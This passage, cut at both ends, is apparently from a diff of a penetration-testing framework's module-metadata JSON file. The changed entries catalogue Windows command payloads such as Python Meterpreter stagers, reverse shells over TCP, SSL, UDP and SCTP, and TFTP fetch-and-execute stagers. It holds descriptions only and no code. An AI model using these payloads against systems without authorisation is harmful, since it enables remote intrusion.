shellcode stage, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe", + "payload_cmd/windows/python/meterpreter/reverse_tcp": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp", "aliases": [ ], @@ -187686,11 +207629,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "UserExistsError" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", "references": [ ], @@ -187700,21 +207641,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_named_pipe", + "ref_name": "cmd/windows/python/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp" }, - "payload_cmd/windows/powershell/x64/custom/bind_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp", + "payload_cmd/windows/python/meterpreter/reverse_tcp_ssl": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_ssl", "aliases": [ ], @@ -187723,10 +207670,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "sf " + "Ben Campbell ", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", "references": [ ], @@ -187736,21 +207683,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp", + "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_tcp_ssl", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_ssl" }, - "payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4", + "payload_cmd/windows/python/meterpreter/reverse_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -187759,15 +207712,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "mihi", - "max3raza", - "RageLtMan" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -187777,21 +207724,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_rc4", + "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid", + "payload_cmd/windows/python/meterpreter_bind_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/python/meterpreter_bind_tcp", "aliases": [ ], @@ -187799,12 +207752,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf ", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", "references": [ ], @@ -187814,21 +207764,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_uuid", + "ref_name": "cmd/windows/python/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_http": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http", + "payload_cmd/windows/python/meterpreter_reverse_http": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", + "fullname": "payload/cmd/windows/python/meterpreter_reverse_http", "aliases": [ ], @@ -187836,11 +207790,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", "references": [ ], @@ -187850,21 +207802,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_http", + "ref_name": "cmd/windows/python/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_https": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https", + "payload_cmd/windows/python/meterpreter_reverse_https": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", + "fullname": "payload/cmd/windows/python/meterpreter_reverse_https", "aliases": [ ], @@ -187872,13 +207828,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "agix", - "rwincey" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", "references": [ ], @@ -187888,21 +207840,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_https", + "ref_name": "cmd/windows/python/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe", + "payload_cmd/windows/python/meterpreter_reverse_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/python/meterpreter_reverse_tcp", "aliases": [ ], @@ -187910,11 +207866,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", "references": [ ], @@ -187924,21 +207878,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_named_pipe", + "ref_name": "cmd/windows/python/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp", + "payload_cmd/windows/python/pingback_bind_tcp": { + "name": "Python Exec, Python Pingback, Bind TCP (via python)", + "fullname": "payload/cmd/windows/python/pingback_bind_tcp", "aliases": [ ], @@ -187947,10 +207905,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "sf " + "asoto-r7" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", + "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", "references": [ ], @@ -187960,21 +207917,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp", + "ref_name": "cmd/windows/python/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/pingback_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4", + "payload_cmd/windows/python/pingback_reverse_tcp": { + "name": "Python Exec, Python Pingback, Reverse TCP (via python)", + "fullname": "payload/cmd/windows/python/pingback_reverse_tcp", "aliases": [ ], @@ -187983,15 +207944,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "mihi", - "max3raza", - "RageLtMan" + "asoto-r7" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", "references": [ ], @@ -188001,21 +207956,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_rc4", + "ref_name": "cmd/windows/python/pingback_reverse_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/pingback_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid", + "payload_cmd/windows/python/shell_bind_tcp": { + "name": "Python Exec, Command Shell, Bind TCP (via python)", + "fullname": "payload/cmd/windows/python/shell_bind_tcp", "aliases": [ ], @@ -188024,11 +207983,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "sf ", - "OJ Reeves" + "mumbai" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", "references": [ ], @@ -188038,21 +207995,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_uuid", + "ref_name": "cmd/windows/python/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_winhttp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp", + "payload_cmd/windows/python/shell_reverse_sctp": { + "name": "Python Exec, Command Shell, Reverse SCTP (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_sctp", "aliases": [ ], @@ -188061,10 +208022,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "RageLtMan " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", "references": [ ], @@ -188074,21 +208034,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttp", + "ref_name": "cmd/windows/python/shell_reverse_sctp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_sctp", + "staged": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_winhttps": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps", + "payload_cmd/windows/python/shell_reverse_tcp": { + "name": "Python Exec, Command Shell, Reverse TCP (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_tcp", "aliases": [ ], @@ -188097,10 +208061,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "Ben Campbell " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", "references": [ ], @@ -188110,21 +208073,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttps", + "ref_name": "cmd/windows/python/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", + "payload_cmd/windows/python/shell_reverse_tcp_ssl": { + "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_tcp_ssl", "aliases": [ ], @@ -188133,10 +208100,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Matt Graeber", - "Shelby Pace" + "RageLtMan " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", "references": [ ], @@ -188146,21 +208112,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", + "ref_name": "cmd/windows/python/shell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_tcp_ssl", + "staged": false }, - "payload_cmd/windows/powershell/x64/exec": { - "name": "Powershell Exec, Windows x64 Execute Command", - "fullname": "payload/cmd/windows/powershell/x64/exec", + "payload_cmd/windows/python/shell_reverse_udp": { + "name": "Python Exec, Command Shell, Reverse UDP (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_udp", "aliases": [ ], @@ -188169,9 +208139,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf " + "RageLtMan " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nExecute an arbitrary command (Windows x64)", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", "references": [ ], @@ -188181,21 +208151,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/exec", + "ref_name": "cmd/windows/python/shell_reverse_udp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_udp", + "staged": false }, - "payload_cmd/windows/powershell/x64/loadlibrary": { - "name": "Powershell Exec, Windows x64 LoadLibrary Path", - "fullname": "payload/cmd/windows/powershell/x64/loadlibrary", + "payload_cmd/windows/reverse_lua": { + "name": "Windows Command Shell, Reverse TCP (via Lua)", + "fullname": "payload/cmd/windows/reverse_lua", "aliases": [ ], @@ -188203,11 +208177,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "scriptjunkie", - "sf " + "xistence " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nLoad an arbitrary x64 library path", + "description": "Creates an interactive shell via Lua", "references": [ ], @@ -188217,21 +208189,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/loadlibrary", + "ref_name": "cmd/windows/reverse_lua", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/windows/powershell/x64/messagebox": { - "name": "Powershell Exec, Windows MessageBox x64", - "fullname": "payload/cmd/windows/powershell/x64/messagebox", + "payload_cmd/windows/reverse_perl": { + "name": "Windows Command, Double Reverse TCP Connection (via Perl)", + "fullname": "payload/cmd/windows/reverse_perl", "aliases": [ ], @@ -188239,10 +208213,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "pasta " + "cazz ", + "aushack " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", + "description": "Creates an interactive shell via perl", "references": [ ], @@ -188252,21 +208226,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/messagebox", + "ref_name": "cmd/windows/reverse_perl", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", + "payload_cmd/windows/reverse_powershell": { + "name": "Windows Command Shell, Reverse TCP (via Powershell)", + "fullname": "payload/cmd/windows/reverse_powershell", "aliases": [ ], @@ -188274,15 +208250,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Dave Kennedy", + "Ben Campbell " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Connect back and create a command shell via Powershell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell" ], "platform": "Windows", "arch": "cmd", @@ -188290,21 +208263,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", + "ref_name": "cmd/windows/reverse_powershell", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", + "payload_cmd/windows/reverse_ruby": { + "name": "Windows Command Shell, Reverse TCP (via Ruby)", + "fullname": "payload/cmd/windows/reverse_ruby", "aliases": [ ], @@ -188312,15 +208287,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "kris katterjohn " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Connect back and create a command shell via Ruby", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188328,21 +208299,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/reverse_ruby", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_named_pipe", + "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp", "aliases": [ ], @@ -188350,16 +208323,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "UserExistsError" + "Brendan Watters", + "bwatters-r7", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188367,21 +208337,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_named_pipe", + "ref_name": "cmd/windows/tftp/x64/custom/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp": { - "name": "Powershell Exec, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp", + "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -188389,15 +208365,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", + "Brendan Watters", + "bwatters-r7", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via 